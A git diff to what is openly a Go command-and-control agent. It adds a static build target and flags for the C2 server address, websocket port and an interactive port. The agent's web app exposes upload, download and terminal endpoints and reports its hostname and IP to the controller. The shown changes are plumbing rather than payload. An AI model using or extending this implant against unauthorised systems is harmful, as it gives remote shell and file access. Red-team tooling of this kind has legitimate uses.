diff --git a/Makefile b/Makefile index c0f1169..8ffae40 100644 --- a/Makefile +++ b/Makefile @@ -16,6 +16,10 @@ build: ## Build the application # $(GO_BUILD) -o $(BINARY) $(GO_BUILD) -ldflags "-w" -o $(BINARY) +build-static: ## Build a static application + @echo "Building static $(APP_NAME)..." + $(GO_BUILD) --ldflags '-linkmode=external -extldflags=-static -w' -o $(BINARY)-static + install: build ## Install the application @echo "Installing $(APP_NAME)..." $(GO_INSTALL) diff --git a/main.go b/main.go index 1406e08..ba20253 100644 --- a/main.go +++ b/main.go @@ -6,6 +6,7 @@ import ( "bytes" "embed" "encoding/json" + "flag" "fmt" "html/template" "io" @@ -18,6 +19,7 @@ import ( "os/user" "path/filepath" "regexp" + "strconv" "strings" "sync" @@ -491,7 +493,7 @@ func handler(w http.ResponseWriter, r *http.Request) { tmpl.Execute(w, data) } -func startInteractiveServer() (int, net.Listener) { +func startInteractiveServer(cliInteractivePort string) (string, net.Listener) { http.HandleFunc("/", handler) http.HandleFunc("/upload", fileUploadHandler) @@ -499,37 +501,63 @@ func startInteractiveServer() (int, net.Listener) { http.HandleFunc("/terminal", terminalHandler) http.Handle("/static/", http.FileServer(http.FS(staticFiles))) - listener, err := net.Listen("tcp", ":0") - if err != nil { - log.Fatal(err) + var addPort string + var listener net.Listener + var err error + if len(cliInteractivePort) > 0 { + addPort = cliInteractivePort + listener, err = net.Listen("tcp", ":" + addPort) + } else { + listener, err = net.Listen("tcp", ":0") + addPort = strconv.Itoa(listener.Addr().(*net.TCPAddr).Port) } - port := listener.Addr().(*net.TCPAddr).Port - log.Println("Using port:", port) + if err != nil { + log.Fatal(err) + } - return port, listener + return addPort, listener +} + +// func connectionArgs () (string, string) { +func connectionArgs () (string, string) { + // Get IP address and port of the server through the + var serverAddress string + // var serverPort string + var serverWebsocketPort string + var interactivePort string + + flag.StringVar(&serverAddress, "address", "127.0.0.1", "IP Address of the C2 server.") + // flag.StringVar(&serverPort, "server-port", "3333", "Port of the C2 server. This is obsolete.") + flag.StringVar(&serverWebsocketPort, "port", "5555", "Websocket port of the C2 server.") + + flag.StringVar(&interactivePort, "interactive-port", "", "Port to connect directly to the agent's webapp. Port will be random if not set.") + + flag.Parse() + + fmt.Println("Server address is at ", serverAddress) + // fmt.Println("Server web port is ", serverPort) + fmt.Println("Server websocket port is ", serverWebsocketPort) + + // webServerAddr := serverAddress + ":" + serverPort + webSocketAddr := serverAddress + ":" + serverWebsocketPort + + // return webServerAddr, webSocketAddr + + return webSocketAddr, interactivePort } + func main() { - // http.HandleFunc("/", handler) - // http.HandleFunc("/upload", fileUploadHandler) - // http.HandleFunc("/download", fileDownloadHandler) - // http.HandleFunc("/terminal", terminalHandler) - // http.Handle("/static/", http.FileServer(http.FS(staticFiles))) - // // fmt.Println("Starting server on :8080") - // // log.Fatal(http.ListenAndServe(":8080", nil)) - // /* This section opens the server on a random port which is also free to use */ - // listener, err := net.Listen("tcp", ":0") - // if err != nil { - // panic(err) - // } - // log.Println("Using port:", listener.Addr().(*net.TCPAddr).Port) - // log.Fatal(http.Serve(listener, nil)) + webSocketAddr, cliInteractivePort := connectionArgs() - port, listener := startInteractiveServer() + addPort, listener := startInteractiveServer(cliInteractivePort) + + log.Println("Using interactive port:", addPort) + log.Printf("You can connect to port %d through your browser as well", listener.Addr().(*net.TCPAddr).Port) var wg sync.WaitGroup wg.Add(2) @@ -541,7 +569,7 @@ func main() { go func() { defer wg.Done() - agentconnector.StartServer(port) + agentconnector.StartServer(addPort, webSocketAddr) }() wg.Wait() diff --git a/src/agentconnector/agentconnector.go b/src/agentconnector/agentconnector.go index ff61641..b122f01 100644 --- a/src/agentconnector/agentconnector.go +++ b/src/agentconnector/agentconnector.go @@ -2,7 +2,7 @@ package agentconnector import ( "encoding/json" - "flag" + // "flag" "fmt" "log" // "net/http" @@ -210,43 +210,16 @@ func GetLocalIPs() []net.IP { return ips } -// func connectionArgs () (string, string) { -func connectionArgs () string { - // Get IP address and port of the server through the - var serverAddress string - // var serverPort string - var serverWebsocketPort string - - flag.StringVar(&serverAddress, "address", "127.0.0.1", "IP Address of the C2 server") - // flag.StringVar(&serverPort, "server-port", "3333", "Port of the C2 server. This is obsolete.") - flag.StringVar(&serverWebsocketPort, "port", "5555", "Websocket port of the C2 server") - - flag.Parse() - - fmt.Println("Server address is at ", serverAddress) - // fmt.Println("Server web port is ", serverPort) - fmt.Println("Server websocket port is ", serverWebsocketPort) - - // webServerAddr := serverAddress + ":" + serverPort - webSocketAddr := serverAddress + ":" + serverWebsocketPort - - // return webServerAddr, webSocketAddr - - return webSocketAddr - -} - // func main() { -func StartServer(agentInteractivePort int){ +func StartServer(addPort, webSocketAddr string){ - webSocketAddr := connectionArgs() + // webSocketAddr, cliInteractivePort := connectionArgs() // agentInteractivePort is only needed for interactive sessions agentName := "Agent-001" agentId := strconv.Itoa(randomInt(8)) agentIp := GetLocalIP().String() agentType := "Interactive" - addPort := strconv.Itoa(agentInteractivePort) hostname, _ := os.Hostname() log.Printf("AgentId: %s", agentId)